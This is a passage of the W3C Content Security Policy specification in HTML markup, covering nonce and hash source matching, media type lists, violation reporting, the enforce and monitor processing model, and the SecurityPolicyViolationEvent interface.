data-link-type=dfn href=#img-src title=img-src>img-src</a> example.com not-example.com/path</code>:</p>\n\n        <ul>\n          <li>Directly loading <code>https://not-example.com/not-path</code>\n          would fail, as it doesn’t match the policy.</li>\n          <li>Directly loading <code>https://example.com/redirector</code>\n          would pass, as it matches <code>example.com</code>.</li>\n          <li>Assuming that <code>https://example.com/redirector</code>\n          delivered a redirect response pointing to <code>https://not-example.com/not-path</code>,\n          the load would succeed, as the initial URL matches <code>example.com</code>,\n          and the redirect target matches <code>not-example.com/path</code>\n          if we ignore its path component.</li>\n        </ul>\n\n<p>This restriction reduces the granularity of a document’s\n        policy when redirects are in play, which isn’t wonderful, but\n        given that we certainly don’t want to allow brute-forcing paths\n        after redirects, it seems a reasonable compromise.</p>\n\n<p>The relatively long thread\n        <a href=http://lists.w3.org/Archives/Public/public-webappsec/2014Feb/0036.html>\"Remove paths from CSP?\"</a>\n        from public-webappsec@w3.org has more detailed discussion around\n        alternate proposals.</p>\n      </section>\n    </section>\n\n    <section>\n      <h4 class=\"heading settled\" data-level=4.2.3 id=script-src-the-nonce-attribute><span class=secno>4.2.3 </span><span class=content>\n        The <code>nonce</code> attribute\n      </span><a class=self-link href=#script-src-the-nonce-attribute></a></h4>\n\n<p>Nonce sources require a new attribute to be added to both\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/scripting-1.html#script title=script>script</a></code> and <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#the-style-element title=style>style</a></code>\n      elements: <code><dfn data-dfn-type=element-attr data-export=\"\" id=element-attrdef-nonce>nonce<a class=self-link href=#element-attrdef-nonce></a></dfn></code>.</p>\n\n      <pre class=idl>partial interface <a class=idl-code data-global-name=\"\" data-link-type=interface href=http://www.w3.org/TR/html5/scripting-1.html#htmlscriptelement title=HTMLScriptElement>HTMLScriptElement</a> {\n  attribute DOMString <a class=idl-code data-global-name=\"HTMLScriptElement<interface>/nonce<attribute>\" data-link-for=HTMLScriptElement data-link-type=attribute data-type=\"DOMString \" href=#dom-htmlscriptelement-nonce title=nonce>nonce</a>;\n};\n</pre>\n      <dl data-dfn-for=HTMLScriptElement>\n        <dt><dfn class=idl-code data-dfn-for=HTMLScriptElement data-dfn-type=attribute data-export=\"\" id=dom-htmlscriptelement-nonce>nonce<a class=self-link href=#dom-htmlscriptelement-nonce></a></dfn></dt>\n        <dd>This attribute <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#reflect title=reflects>reflects</a> the value of the\n        element’s <code><a data-link-type=element-attr href=#element-attrdef-nonce title=nonce>nonce</a></code> content attribute.</dd>\n      </dl>\n      <pre class=idl>partial interface <a class=idl-code data-global-name=\"\" data-link-type=interface href=http://www.w3.org/TR/html5/document-metadata.html#htmlstyleelement title=HTMLStyleElement>HTMLStyleElement</a> {\n  attribute DOMString <a class=idl-code data-global-name=\"HTMLStyleElement<interface>/nonce<attribute>\" data-link-for=HTMLStyleElement data-link-type=attribute data-type=\"DOMString \" href=#dom-htmlstyleelement-nonce title=nonce>nonce</a>;\n};\n</pre>\n      <dl data-dfn-for=HTMLStyleElement>\n        <dt><dfn class=idl-code data-dfn-for=HTMLStyleElement data-dfn-type=attribute data-export=\"\" id=dom-htmlstyleelement-nonce>nonce<a class=self-link href=#dom-htmlstyleelement-nonce></a></dfn></dt>\n        <dd>This attribute <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#reflect title=reflects>reflects</a> the value of the\n        element’s <code><a data-link-type=element-attr href=#element-attrdef-nonce title=nonce>nonce</a></code> content attribute.</dd>\n      </dl>\n\n    </section>\n\n    <section>\n      <h4 class=\"heading settled\" data-level=4.2.4 id=source-list-valid-nonces><span class=secno>4.2.4 </span><span class=content>Valid Nonces</span><a class=self-link href=#source-list-valid-nonces></a></h4>\n\n<p>An element has a <dfn data-dfn-type=dfn data-noexport=\"\" id=valid-nonce>valid nonce<a class=self-link href=#valid-nonce></a></dfn> for a <var>set of source\n      expressions</var> if the value of the element’s\n      <code><a data-link-type=element-attr href=#element-attrdef-nonce title=nonce>nonce</a></code> attribute after\n      <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#strip-leading-and-trailing-whitespace title=\"strip leading and trailing whitespace\">stripping\n      leading and trailing whitespace</a> is a case-sensitive match for the\n      <code><a data-link-type=dfn href=#nonce-value title=nonce-value>nonce-value</a></code> component of at least one\n      <code><a data-link-type=dfn href=#nonce-source title=nonce-source>nonce-source</a></code> expression in <var>set of source\n      expressions</var>.</p>\n    </section>\n\n    <section>\n      <h4 class=\"heading settled\" data-level=4.2.5 id=source-list-valid-hashes><span class=secno>4.2.5 </span><span class=content>Valid Hashes</span><a class=self-link href=#source-list-valid-hashes></a></h4>\n\n<p>An <dfn data-dfn-type=dfn data-noexport=\"\" id=elements-content>element’s content<a class=self-link href=#elements-content></a></dfn> is <a data-link-spec=HTML5 data-link-type=dfn href=\"http://www.w3.org/TR/html5/scripting-1.html#the-script-block's-source\" title=\"the script block’s source\">the script block’s\n      source</a> for <code><a data-link-type=element href=http://www.w3.org/TR/html5/scripting-1.html#script title=script>script</a></code> elements, or the\n      value of the element’s\n      <code><a class=idl-code data-link-for=Node data-link-type=attribute href=http://dom.spec.whatwg.org/#dom-node-textcontent title=textContent>textContent</a></code>\n      IDL attribute for non-<code><a data-link-type=element href=http://www.w3.org/TR/html5/scripting-1.html#script title=script>script</a></code> elements such as\n      <code><a data-link-type=element href=http://www.w3.org/TR/html5/document-metadata.html#the-style-element title=style>style</a></code>.</p>\n\n<p>The <dfn data-dfn-type=dfn data-noexport=\"\" id=digest-of-elements-content>digest of <var>element</var>’s content<a class=self-link href=#digest-of-elements-content></a></dfn> for is the result\n      of applying an <var>algorithm</var> to the <a data-link-type=dfn href=#elements-content title=\"element’s content\">element’s content</a>.</p>\n\n<p>To determine whether <var>element</var> has a <dfn data-dfn-type=dfn data-noexport=\"\" id=valid-hash>valid hash<a class=self-link href=#valid-hash></a></dfn> for\n      a <var>set of source expressions</var>, execute the following steps:</p>\n\n      <ol>\n        <li>Let <var>hashes</var> be a list of all\n        <code><a data-link-type=dfn href=#hash-source title=hash-source>hash-source</a></code> expressions in <var>set of source\n        expressions</var>.</li>\n\n        <li>For each <var>hash</var> in <var>hashes</var>:\n          <ol>\n            <li>Let <var>algorithm</var> be:\n              <ul>\n                <li><a data-link-type=dfn href=#sha-256 title=SHA-256>SHA-256</a> if the <code><a data-link-type=dfn href=#hash-algo title=hash-algo>hash-algo</a></code>\n                component of <var>hash</var> is a case-insensitive match for\n                the string \"sha256\"</li>\n\n                <li><a data-link-type=dfn href=#sha-384 title=SHA-384>SHA-384</a> if the <code><a data-link-type=dfn href=#hash-algo title=hash-algo>hash-algo</a></code>\n                component of <var>hash</var> is a case-insensitive match for\n                the string \"sha384\"</li>\n\n                <li><a data-link-type=dfn href=#sha-512 title=SHA-512>SHA-512</a> if the <code><a data-link-type=dfn href=#hash-algo title=hash-algo>hash-algo</a></code>\n                component of <var>hash</var> is a case-insensitive match for\n                the string \"sha512\"</li>\n              </ul>\n            </li>\n\n            <li>Let <var>expected</var> be the <code><a data-link-type=dfn href=#hash-value title=hash-value>hash-value</a></code>\n            component of <var>hash</var>.</li>\n\n            <li>Let <var>actual</var> be the\n            <a href=http://tools.ietf.org/html/rfc4648#section-4>base64\n            encoding</a> of the binary <a data-link-type=dfn href=#digest-of-elements-content title=\"digest of element’s content\">digest of <var>element</var>’s\n            content</a> using the <var>algorithm</var> algorithm.</li>\n\n            <li>If <var>actual</var> is a case-sensitive match for\n            <var>expected</var>, return <strong>true</strong> and abort these\n            steps.</li>\n          </ol>\n        </li>\n        <li>Return <strong>false</strong>.</li>\n      </ol>\n\n<p class=note>Note: If an element has an invalid hash, it would be helpful\n      if the user agent reported the failure to the author by adding\n      a warning message containing the <var>actual</var> hash value.</p>\n    </section>\n  </section>\n  <section>\n    <h3 class=\"heading settled\" data-level=4.3 id=media-type-list><span class=secno>4.3 </span><span class=content>Media Type List</span><a class=self-link href=#media-type-list></a></h3>\n\n<p>The <code><a data-link-type=dfn href=#plugin-types title=plugin-types>plugin-types</a></code> directive uses a value consisting\n    of a <dfn data-dfn-type=dfn data-noexport=\"\" id=media-type-list0>media type list<a class=self-link href=#media-type-list0></a></dfn>.</p>\n\n<p>Each <dfn data-dfn-type=dfn data-noexport=\"\" id=media-type0>media type<a class=self-link href=#media-type0></a></dfn> in the media type list represents a specific\n    type of resource that can be retrieved and used to instantiate a\n    <a data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#plugin title=plugin>plugin</a> in the protected resource.</p>\n\n    <pre><dfn data-dfn-type=dfn data-noexport=\"\" id=media-type-list1>media-type-list<a class=self-link href=#media-type-list1></a></dfn>   = <a data-link-type=dfn href=#media-type title=media-type>media-type</a> *( 1*WSP <a data-link-type=dfn href=#media-type title=media-type>media-type</a> )\n<dfn data-dfn-type=dfn data-noexport=\"\" id=media-type>media-type<a class=self-link href=#media-type></a></dfn>        = &lt;type from RFC 2045&gt; \"/\" &lt;subtype from RFC 2045&gt;\n</pre>\n\n    <section>\n      <h4 class=\"heading settled\" data-level=4.3.1 id=media-type-list-parsing><span class=secno>4.3.1 </span><span class=content>Parsing</span><a class=self-link href=#media-type-list-parsing></a></h4>\n\n<p>To <dfn data-dfn-type=dfn data-noexport=\"\" id=parse-a-media-type-list>parse a media type list<a class=self-link href=#parse-a-media-type-list></a></dfn> <var>media type list</var>, the\n      user agent MUST use an algorithm equivalent to the following:</p>\n\n      <ol>\n        <li>Let the <var>set of media types</var> be the empty set.</li>\n\n        <li>For each token returned by\n        <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#split-a-string-on-spaces title=\"split a string on spaces\">splitting\n        <var>media type list</var> on spaces</a>, if the token matches the\n        grammar for <code><a data-link-type=dfn href=#media-type title=media-type>media-type</a></code>, add the token to the\n        <var>set of media types</var>. Otherwise ignore the token.</li>\n\n        <li>Return the <var>set of media types</var>.</li>\n      </ol>\n    </section>\n\n    <section>\n      <h4 class=\"heading settled\" data-level=4.3.2 id=media-type-list-matching><span class=secno>4.3.2 </span><span class=content>Matching</span><a class=self-link href=#media-type-list-matching></a></h4>\n\n<p>A media type <dfn data-dfn-type=dfn data-noexport=\"\" id=match-a-media-type-list title=\"match a media type list\">matches a media type\n      list<a class=self-link href=#match-a-media-type-list></a></dfn> if, and only if, the media type is a case-insensitive match for\n      at least one token in the set of media types obtained by\n      <a data-link-type=dfn href=#parse-a-media-type-list title=\"parse a media type list\">parsing the media type list</a>.</p>\n    </section>\n  </section>\n  <section>\n    <h3 class=\"heading settled\" data-level=4.4 id=violation-reports><span class=secno>4.4 </span><span class=content>Reporting</span><a class=self-link href=#violation-reports></a></h3>\n\n<p>To <dfn data-dfn-type=dfn data-noexport=\"\" id=strip-uri-for-reporting title=\"strip uri for reporting|stripped for reporting\">strip\n    <var>uri</var> for reporting<a class=self-link href=#strip-uri-for-reporting></a></dfn>, the user agent MUST use an\n    algorithm equivalent to the following:</p>\n\n    <ol>\n      <li>If the <a data-link-type=dfn href=#origin title=origin>origin</a> of <var>uri</var> is a <a data-link-type=dfn href=#globally-unique-identifier title=\"globally unique identifier\">globally unique\n      identifier</a> (for example, <var>uri</var> has a scheme of\n      <code>data</code>, <code>blob</code>, or <code>filesystem</code>), then\n      abort these steps, and return the ASCII serialization of\n      <var>uri</var>’s scheme.</li>\n\n      <li>If the <a data-link-type=dfn href=#origin title=origin>origin</a> of <var>uri</var> is not the same as the\n      <a data-link-type=dfn href=#origin title=origin>origin</a> of the protected resource, then abort these steps, and\n      return the\n      <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/browsers.html#ascii-serialization-of-an-origin title=\"ascii serialization of an origin\">ASCII\n      serialization of <var>uri</var>’s origin</a>.</li>\n\n      <li>Return <var>uri</var>, with any <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#concept-url-fragment title=fragment>fragment</a>\n      component removed.</li>\n    </ol>\n\n<p>To <dfn data-dfn-type=dfn data-noexport=\"\" id=generate-a-violation-report-object title=\"generate a violation report object|generating a violation report object\">generate a violation report object<a class=self-link href=#generate-a-violation-report-object></a></dfn>,\n    the user agent MUST use an algorithm equivalent to the following:</p>\n\n    <ol>\n      <li>Prepare a JSON object <var>violation</var> with the\n      following keys and values:\n\n        <dl>\n          <dt id=violation-report-blocked-uri><a class=self-link href=#violation-report-blocked-uri></a>blocked-uri</dt>\n          <dd>The originally requested URI of the resource that was\n          prevented from loading, <a data-link-type=dfn href=#strip-uri-for-reporting title=\"stripped for reporting\">stripped for reporting</a>,\n          or the empty string if the resource has no URI (inline script and\n          inline style, for example).</dd>\n\n          <dt id=violation-report-document-uri><a class=self-link href=#violation-report-document-uri></a>document-uri</dt>\n          <dd>The <a data-link-spec=HTML5 data-link-type=dfn href=\"http://www.w3.org/TR/html5/dom.html#the-document's-address\" title=\"the document’s address\">address</a>\n          of the protected resource, <a data-link-type=dfn href=#strip-uri-for-reporting title=\"stripped for reporting\">stripped for reporting</a>.</dd>\n\n          <dt id=violation-report-effective-directive><a class=self-link href=#violation-report-effective-directive></a>effective-directive</dt>\n          <dd>The name of the policy directive that was violated. This will\n          contain the <a data-link-type=dfn href=#security-policy-directive title=directive>directive</a> whose enforcement triggered the\n          violation (e.g. \"<code><a data-link-type=dfn href=#script-src title=script-src>script-src</a></code>\") even if that\n          directive does not explicitly appear in the policy, but is\n          implicitly activated via the <code><a data-link-type=dfn href=#default-src title=default-src>default-src</a></code>\n          directive.</dd>\n\n          <dt id=violation-report-original-policy><a class=self-link href=#violation-report-original-policy></a>original-policy</dt>\n          <dd>The original <a data-link-type=dfn href=#security-policy title=policy>policy</a>, as received by the user agent.</dd>\n\n          <dt id=violation-report-referrer><a class=self-link href=#violation-report-referrer></a>referrer</dt>\n          <dd>The <a class=idl-code data-link-for=Document data-link-type=attribute href=http://www.w3.org/TR/html5/dom.html#dom-document-referrer title=referrer>referrer</a> attribute of the protected\n          resource, or the empty string if the protected resource has no\n          referrer.</dd>\n\n          <dt id=violation-report-status-code><a class=self-link href=#violation-report-status-code></a>status-code</dt>\n          <dd>The <code>status-code</code> of the HTTP response that\n          contained the protected resource, if the protected resource was\n          obtained over HTTP. Otherwise, the number 0.</dd>\n\n          <dt id=violation-report-violated-directive><a class=self-link href=#violation-report-violated-directive></a>violated-directive</dt>\n          <dd>The policy directive that was violated, as it appears in the\n          policy. This will contain the <code><a data-link-type=dfn href=#default-src title=default-src>default-src</a></code> directive\n          in the case of violations caused by falling back to the\n          <a data-link-type=dfn href=#default-sources title=\"default sources\">default sources</a> when enforcing\n          a directive.</dd>\n        </dl>\n      </li>\n\n      <li>If a specific line or a specific file can be identified as the\n      cause of the violation (for example, script execution that violates\n      the <code><a data-link-type=dfn href=#script-src title=script-src>script-src</a></code> directive), the user agent MAY add the\n      following keys and values to <var>violation</var>:\n\n        <dl>\n          <dt id=violation-report-source-file><a class=self-link href=#violation-report-source-file></a><dfn data-dfn-type=dfn data-noexport=\"\" id=source-file>source-file<a class=self-link href=#source-file></a></dfn></dt>\n          <dd>The URI of the resource where the violation occurred,\n          <a data-link-type=dfn href=#strip-uri-for-reporting title=\"stripped for reporting\">stripped for reporting</a>.</dd>\n\n          <dt id=violation-report-line-number><a class=self-link href=#violation-report-line-number></a>line-number</dt>\n          <dd>The line number in <code><a data-link-type=dfn href=#source-file title=source-file>source-file</a></code> on which\n          the violation occurred.</dd>\n\n          <dt id=violation-report-column-number><a class=self-link href=#violation-report-column-number></a>column-number</dt>\n          <dd>The column number in <code><a data-link-type=dfn href=#source-file title=source-file>source-file</a></code> on which\n          the violation occurred.</dd>\n        </dl>\n      </li>\n      <li>Return <var>violation</var>.</li>\n    </ol>\n\n<p class=note>Note: <code>blocked-uri</code> will not contain the final location of a\n    resource that was blocked after one or more redirects. It instead will\n    contain only the location that the protected resource requested, before\n    any redirects were followed.</p>\n\n<p>To <dfn data-dfn-type=dfn data-noexport=\"\" id=send-violation-reports>send violation reports<a class=self-link href=#send-violation-reports></a></dfn>, the user agent MUST use an\n    algorithm equivalent to the following:</p>\n\n    <ol>\n      <li>Prepare a <a data-link-type=dfn href=#json-object title=\"JSON object\">JSON object</a> <var>report object</var> with a single\n      key, <code>csp-report</code>, whose value is the result of <a data-link-type=dfn href=#generate-a-violation-report-object title=\"generating a violation report object\">generating\n      a violation report object</a>.</li>\n\n      <li>Let <var>report body</var> be the <a data-link-type=dfn href=#json-stringification title=\"JSON stringification\">JSON stringification</a> of\n      <var>report object</var>.</li>\n\n      <li>For each <var>report URI</var> in the <a data-link-type=dfn href=#set-of-report-uris title=\"set of report URIs\">set of report URIs</a>:\n        <ol>\n          <li>If the user agent has already sent a violation report for\n          the protected resource to <var>report URI</var>, and that report\n          contained an entity body that exactly matches\n          <var>report body</var>, the user agent MAY abort these\n          steps and continue to the next <var>report URI</var>.</li>\n\n          <li><a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/webappapis.html#queue-a-task title=\"Queue a task\">Queue a task</a> to <a data-link-type=dfn href=http://www.w3.org/TR/html5/infrastructure.html#fetch title=fetch>fetch</a>\n          <var>report URI</var> from the origin of the protected resource,\n          with the synchronous flag <em>not</em> set, using HTTP method\n          <code>POST</code>, with a <code>Content-Type</code> header field\n          of <code>application/csp-report</code>, and an entity body\n          consisting of <var>report body</var>. If the origin of\n          <var>report URI</var> is <strong>not</strong> the same as the\n          origin of the protected resource, the block cookies flag MUST also\n          be set. The user agent MUST NOT follow redirects when fetching this\n          resource. (Note: The user agent ignores the fetched resource.)\n          The <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/webappapis.html#task-source title=\"task source\">task source</a> for these\n          <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/webappapis.html#concept-task title=tasks>tasks</a> is the <dfn data-dfn-type=dfn data-noexport=\"\" id=content-security-policy-task-source>Content Security Policy task\n          source<a class=self-link href=#content-security-policy-task-source></a></dfn>.</li>\n        </ol>\n      </li>\n    </ol>\n\n<p>To <dfn data-dfn-type=dfn data-noexport=\"\" id=report-a-violation>report a violation<a class=self-link href=#report-a-violation></a></dfn>, the user agent MUST:</p>\n\n    <ol>\n      <li><a data-link-type=dfn href=#fire-a-violation-event title=\"Fire a violation event\">Fire a violation event</a> at the protected resource’s\n      <code><a class=idl-code data-link-spec=HTML5 data-link-type=interface href=http://www.w3.org/TR/html5/infrastructure.html#dom-document title=Document>Document</a></code>.</li>\n\n      <li>If the <a data-link-type=dfn href=#set-of-report-uris title=\"set of report URIs\">set of report URIs</a> is non-empty, <a data-link-type=dfn href=#send-violation-reports title=\"send violation reports\">send violation\n      reports</a> to each.</li>\n    </ol>\n\n<p class=note>Note: This section of the specification should not be interpreted\n    as limiting user agents' ability to apply restrictions to violation\n    reports in order to limit data leakage above and beyond what these\n    algorithms specify.</p>\n  </section>\n</section>\n\n<section>\n  <h2 class=\"heading settled\" data-level=5 id=processing-model><span class=secno>5 </span><span class=content>Processing Model</span><a class=self-link href=#processing-model></a></h2>\n\n<p>To <dfn data-dfn-type=dfn data-noexport=\"\" id=enforce>enforce<a class=self-link href=#enforce></a></dfn> a policy, the user agent MUST <a data-link-type=dfn href=#parse-the-policy title=\"parse the policy\">parse the policy</a>\n  and enforce each of the directives contained in the policy, where the\n  specific requirements for enforcing each directive are defined separately\n  for each directive (See <a data-section=\"\" href=#sec-directives>§7 Directives</a>, below).</p>\n\n<p>Generally speaking, enforcing a directive prevents the protected\n  resource from performing certain actions, such as loading scripts from\n  URIs other than those indicated in a source list. These restrictions\n  make it more difficult for an attacker to abuse an injection\n  vulnerability in the resource because the attacker will be unable to\n  usurp the resource’s privileges that have been restricted in this\n  way.</p>\n\n<p class=note>Note: User agents may allow users to modify or bypass policy enforcement\n  through user preferences, bookmarklets, third-party additions to the user\n  agent, and other such mechanisms.</p>\n\n<p>To <dfn data-dfn-type=dfn data-noexport=\"\" id=monitor>monitor<a class=self-link href=#monitor></a></dfn> a policy, the user agent MUST <a data-link-type=dfn href=#parse-the-policy title=\"parse the policy\">parse the policy</a>\n  and monitor each of the directives contained in the policy.</p>\n\n<p>Monitoring a directive does not prevent the protected resource from\n  undertaking any actions. Instead, any actions that would have been\n  prevented by the directives are allowed, but a violation report is\n  <a data-link-type=dfn href=#report-a-violation title=\"report a violation\">generated and reported</a> to the\n  developer of the web application. Monitoring a policy is useful for\n  testing whether enforcing the policy will cause the web application to\n  malfunction.</p>\n\n<p>A server MAY cause user agents to monitor one policy while enforcing\n  another policy by returning both <code><a data-link-type=dfn href=#content-security-policy title=Content-Security-Policy>Content-Security-Policy</a></code>\n  and <code><a data-link-type=dfn href=#content-security-policy-report-only title=Content-Security-Policy-Report-Only>Content-Security-Policy-Report-Only</a></code> header fields.\n  For example, if a server operator may wish to <a data-link-type=dfn href=#enforce title=enforce>enforce</a> one policy but\n  experiment with a stricter policy, she can monitor the stricter policy while\n  enforcing the original policy. Once the server operator is satisfied that\n  the stricter policy does not break the web application, the server operator\n  can start enforcing the stricter policy.</p>\n\n<p>If the user agent monitors or enforces a policy that does not contain any\n  directives, the user agent SHOULD report a warning message in the\n  developer console.</p>\n\n<p>If the user agent <a data-link-type=dfn href=#monitor title=monitors>monitors</a> or <a data-link-type=dfn href=#enforce title=enforces>enforces</a> a policy that contains\n  an unrecognized directive, the user agent SHOULD report a warning message\n  in the developer console indicating the name of the unrecognized directive.</p>\n\n<p>If the user agent <a data-link-type=dfn href=#monitor title=monitors>monitors</a> or <a data-link-type=dfn href=#enforce title=enforces>enforces</a> a policy that contains\n  a directive that contains a <a data-link-type=dfn href=#source-list0 title=\"source list\">source list</a>, then the user agent MUST set\n  a <code><a data-link-type=dfn href=#csp title=CSP>CSP</a></code> Request Header when requesting cross-origin\n  resources, as described in <a data-section=\"\" href=#csp-request-header>§3.4 The <code>CSP</code> HTTP Request Header</a>.</p>\n\n  <section>\n    <h3 class=\"heading settled\" data-level=5.1 id=processing-model-workers><span class=secno>5.1 </span><span class=content>Workers</span><a class=self-link href=#processing-model-workers></a></h3>\n\n<p>Whenever a user agent <a data-link-type=dfn href=#runs-a-worker title=\"runs a worker\">runs a worker</a>:</p>\n\n    <ul>\n      <li>If the worker’s script’s origin is a <a data-link-type=dfn href=#globally-unique-identifier title=\"globally unique identifier\">globally unique identifier</a>\n      (for example, the worker’s script’s URL has a scheme of\n      <code>data</code>, <code>blob</code>, or <code>filesystem</code>), then:\n      <ul>\n        <li>If the user agent is enforcing a CSP policy for the <var>owner\n        document</var>, the user agent MUST enforce the CSP policy for the\n        worker.</li>\n\n        <li>If the user agent is monitoring a CSP policy for the <var>owner\n        document</var>, the user agent MUST monitor the CSP policy for the\n        worker.</li>\n      </ul></li>\n      <li>Otherwise:\n        <ul>\n          <li>If the worker’s script is delivered with a\n          <code>Content-Security-Policy</code> HTTP header containing the\n          value <var>policy</var>, the user agent MUST <a data-link-type=dfn href=#enforce title=enforce>enforce</a>\n          <var>policy</var> for the worker.</li>\n\n          <li>If the worker’s script is delivered with a\n          <code>Content-Security-Policy-Report-Only</code> HTTP header\n          containing the value <var>policy</var>, the user agent MUST\n          <a data-link-type=dfn href=#monitor title=monitor>monitor</a> <var>policy</var> for the worker.</li>\n        </ul>\n      </li>\n    </ul>\n  </section>\n\n  <section>\n    <h3 class=\"heading settled\" data-level=5.2 id=processing-model-iframe-srcdoc><span class=secno>5.2 </span><span class=content><code>srcdoc</code> IFrames</span><a class=self-link href=#processing-model-iframe-srcdoc></a></h3>\n\n<p>Whenever a user agent creates <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/embedded-content-0.html#an-iframe-srcdoc-document title=\"an iframe srcdoc document\">an <code>iframe</code>\n    <code>srcdoc</code> document</a> in a browsing context nested in the\n    protected resource, if the user agent is <a data-link-type=dfn href=#enforce title=enforcing>enforcing</a> any <a data-link-type=dfn href=#security-policy title=policies>policies</a>\n    for the protected resource, the user agent MUST <a data-link-type=dfn href=#enforce title=enforce>enforce</a> those\n    <a data-link-type=dfn href=#security-policy title=policies>policies</a> on the <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element title=iframe>iframe</a></code>\n    <code>srcdoc</code> document as well.</p>\n\n<p>Whenever a user agent creates <a data-link-spec=HTML5 data-link-type=dfn href=http://www.w3.org/TR/html5/embedded-content-0.html#an-iframe-srcdoc-document title=\"an iframe srcdoc document\">an <code>iframe</code>\n    <code>srcdoc</code> document</a> in a browsing context nested in the\n    protected resource, if the user agent is monitoring any policies for the\n    protected resource, the user agent MUST <a data-link-type=dfn href=#monitor title=monitor>monitor</a> those policies on\n    the <code><a data-link-type=element href=http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element title=iframe>iframe</a></code> <code>srcdoc</code> document as well.</p>\n  </section>\n</section>\n\n<section>\n  <h2 class=\"heading settled\" data-level=6 id=script-interfaces><span class=secno>6 </span><span class=content>Script Interfaces</span><a class=self-link href=#script-interfaces></a></h2>\n\n  <section>\n    <h3 class=\"heading settled\" data-level=6.1 id=securitypolicyviolationevent-interface><span class=secno>6.1 </span><span class=content>\n      <code>SecurityPolicyViolationEvent</code> Interface\n    </span><a class=self-link href=#securitypolicyviolationevent-interface></a></h3>\n\n    <pre class=idl>[Constructor(DOMString <dfn class=idl-code data-dfn-for=SecurityPolicyViolationEvent/SecurityPolicyViolationEvent() data-dfn-type=argument data-export=\"\" data-global-name=\"SecurityPolicyViolationEvent<interface>/SecurityPolicyViolationEvent()<method>/type<argument>\" id=dom-securitypolicyviolationevent-securitypolicyviolationevent-type>type<a class=self-link href=#dom-securitypolicyviolationevent-securitypolicyviolationevent-type></a></dfn>, optional <a data-link-type=idl href=#dictdef-securitypolicyviolationeventinit title=SecurityPolicyViolationEventInit>SecurityPolicyViolationEventInit</a> <dfn class=idl-code data-dfn-for=SecurityPolicyViolationEvent/SecurityPolicyViolationEvent() data-dfn-type=argument data-export=\"\" data-global-name=\"SecurityPolicyViolationEvent<interface>/SecurityPolicyViolationEvent()<method>/eventinitdict<argument>\" id=dom-securitypolicyviolationevent-securitypolicyviolationevent-eventinitdict>eventInitDict<a class=self-link href=#dom-securitypolicyviolationevent-securitypolicyviolationevent-eventinitdict></a></dfn>)]\ninterface <dfn class=idl-code data-dfn-type=interface data-export=\"\" data-global-name=\"\" id=dom-securitypolicyviolationevent>SecurityPolicyViolationEvent<a class=self-link href=#dom-securitypolicyviolationevent></a></dfn> : <a data-link-type=idl href=http://dom.spec.whatwg.org/#event title=Event>Event</a> {\n    readonly    attribute DOMString <a class=idl-code data-global-name=\"SecurityPolicyViolationEvent<interface>/documenturi<attribute>\" data-link-for=SecurityPolicyViolationEvent data-link-type=attribute data-readonly=\"\" data-type=\"DOMString \" href=#dom-securitypolicyviolationevent-documenturi title=documentURI>documentURI</a>;\n    readonly    attribute DOMString <a class=idl-code data-global-name=\"SecurityPolicyViolationEvent<interface>/referrer<attribute>\" data-link-for=SecurityPolicyViolationEvent data-link-type=attribute data-readonly=\"\" data-type=\"DOMString \" href=#dom-securitypolicyviolationevent-referrer title=referrer>referrer</a>;\n    readonly    attribute DOMString <a class=idl-code data-global-name=\"SecurityPolicyViolationEvent<interface>/blockeduri<attribute>\" data-link-for=SecurityPolicyViolationEvent data-link-type=attribute data-readonly=\"\" data-type=\"DOMString \" href=#dom-securitypolicyviolationevent-blockeduri title=blockedURI>blockedURI</a>;\n    readonly    attribute DOMString <a class=idl-code data-global-name=\"SecurityPolicyViolationEvent<interface>/violateddirective<attribute>\" data-link-for=SecurityPolicyViolationEvent data-link-type=attribute data-readonly=\"\" data-type=\"DOMString \" href=#dom-securitypolicyviolationevent-violateddirective title=violatedDirective>violatedDirective</a>;\n    readonly    attribute DOMString <a class=idl-code data-global-name=\"SecurityPolicyViolationEvent<interface>/effectivedirective<attribute>\" data-link-for=SecurityPolicyViolationEvent data-link-type=attribute data-readonly=\"\" data-type=\"DOMString \" href=#dom-securitypolicyviolationevent-effectivedirective title=effectiveDirective>effectiveDirective</a>;\n    readonly    attribute DOMString <a class=idl-code data-global-name=\"SecurityPolicyViolationEvent<interface>/originalpolicy<attribute>\" data-link-for=SecurityPolicyViolationEvent data-link-type=attribute data-readonly=\"\" data-type=\"DOMString \" href=#dom-securitypolicyviolationevent-originalpolicy title=originalPolicy>originalPolicy</a>;\n    readonly    attribute DOMString <a class=idl-code data-global-name=\"SecurityPolicyViolationEvent<interface>/sourcefile<attribute>\" data-link-for=SecurityPolicyViolationEvent data-link-type=attribute data-readonly=\"\" data-type=\"DOMString \" href=#dom-securitypolicyviolationevent-sourcefile title=sourceFile>sourceFile</a>;\n    readonly    attribute DOMString <a class=idl-code data-global-name=\"SecurityPolicyViolationEvent<interface>/statuscode<attribute>\" data-link-for=SecurityPolicyViolationEvent data-link-type=attribute data-readonly=\"\" data-type=\"DOMString \" href=#dom-securitypolicyviolationevent-statuscode title=statusCode>statusCode</a>;\n    readonly    attribute long      <a class=idl-code data-global-name=\"SecurityPolicyViolationEvent<interface>/linenumber<attribute>\" data-link-for=SecurityPolicyViolationEvent data-link-type=attribute data-readonly=\"\" data-type=\"long      \" href=#dom-securitypolicyviolationevent-linenumber title=lineNumber>lineNumber</a>;\n    readonly    attribute long      <a class=idl-code data-global-name=\"SecurityPolicyViolationEvent<interface>/columnnumber<attribute>\" data-link-for=SecurityPolicyViolationEvent data-link-type=attribute data-readonly=\"\" data-type=\"long      \" href=#dom-securitypolicyviolationevent-columnnumber 